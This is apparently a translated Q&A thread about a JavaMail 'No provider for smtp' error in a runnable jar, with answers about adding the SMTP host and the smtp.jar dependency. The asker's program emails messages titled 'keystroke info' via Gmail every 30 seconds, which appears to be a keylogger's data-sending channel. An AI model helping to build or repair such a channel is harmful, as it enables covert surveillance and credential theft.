通过Gmail发送电子邮件时出现Java SMTP错误

时间:2018-12-04 23:04:57

标签: java

基本上,我通过Eclipse创建了一个可运行的jar文件,该文件应该每30秒向我发送一封电子邮件。在Eclipse中运行时,代码工作正常,但是在创建jar文件并运行jar文件后,它给了我这个错误。

javax.mail.NoSuchProviderException: No provider for smtp
    at javax.mail.Session.getProvider(Session.java:460)
    at javax.mail.Session.getTransport(Session.java:655)
    at javax.mail.Session.getTransport(Session.java:636)
    at handlers.Sender.Send(Sender.java:89)
    at handlers.Sender.Send(Sender.java:34)
    at handlers.ManageService.run(ManageService.java:29)
    at java.lang.Thread.run(Unknown Source)

我在此页面Send email using java上尝试了几种解决方案 但什么都没做。我错过了什么吗,或者其他人还有其他解决方案吗?

package handlers;

import java.util.Properties;

import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMessage.RecipientType;

public class Sender {
    private Sender() {

    }

    private static final String SENDERS_GMAIL = "EMAIL";
    private static final String SENDERS_PASSWORD = "PASS";

    private static final String RECIEVERS_EMAIL = "EMAIL";

    private static Properties mailServerProperties;
    private static Session mailSess;
    private static MimeMessage mailMessage;

    public static void sendMail(String emailBody) throws Throwable {
        mailServerProperties = System.getProperties();
        mailServerProperties.put("mail.smtp.port", "587");
        mailServerProperties.put("mail.smtp.auth", "true");
        mailServerProperties.put("mail.smtp.starttls.enable", "true");

        mailSess = Session.getDefaultInstance(mailServerProperties);
        mailMessage = new MimeMessage(mailSess);
        mailMessage.addRecipient(RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
        mailMessage.setSubject("keystroke info");
        mailMessage.setContent(emailBody, "text/html");


        Transport transport = mailSess.getTransport("smtp");
        transport.connect("smtp.gmail.com", SENDERS_GMAIL, SENDERS_PASSWORD);
        transport.sendMessage(mailMessage, mailMessage.getAllRecipients());
        transport.close();
}

}

3 个答案:

答案 0 :(得分:1)

请更新您的jar文件,并使用以下链接将JavaMail jar文件的最新稳定版本放入您的项目中:

  

https://mvnrepository.com/artifact/javax.mail/mail

然后您应该添加 SMTP主机,似乎您忘记了代码:

props.put("mail.smtp.host", "smtp.gmail.com");

尝试此代码:

    final String username = "username@gmail.com";
    final String password = "password";

    Properties props = new Properties();
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.starttls.enable", "true");
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.port", "587");

    Session session = Session.getInstance(props,
      new javax.mail.Authenticator() {
        protected PasswordAuthentication getPasswordAuthentication() {
            return new PasswordAuthentication(username, password);
        }
      });

    try {

        Message message = new MimeMessage(session);
        message.setFrom(new InternetAddress("from-email@gmail.com"));
        message.addRecipient(Message.RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
        message.setSubject("keystroke info");
        message.setText("Email body text message");

        Transport.send(message);

        System.out.println("Done");

    } catch (MessagingException e) {
        throw new RuntimeException(e);
    }

答案 1 :(得分:0)

必须在https://javaee.github.io/javamail/更新我的库。

我只是更新mailapi,但注意到它不包含任何协议。我需要为该协议更新smtp.jar。

感谢大家的帮助!

答案 2 :(得分:0)

下载smtp.jar https://mvnrepository.com/artifact/com.sun.mail/smtp/1.4.5,以便专门解决您的问题并将其添加到您的项目中。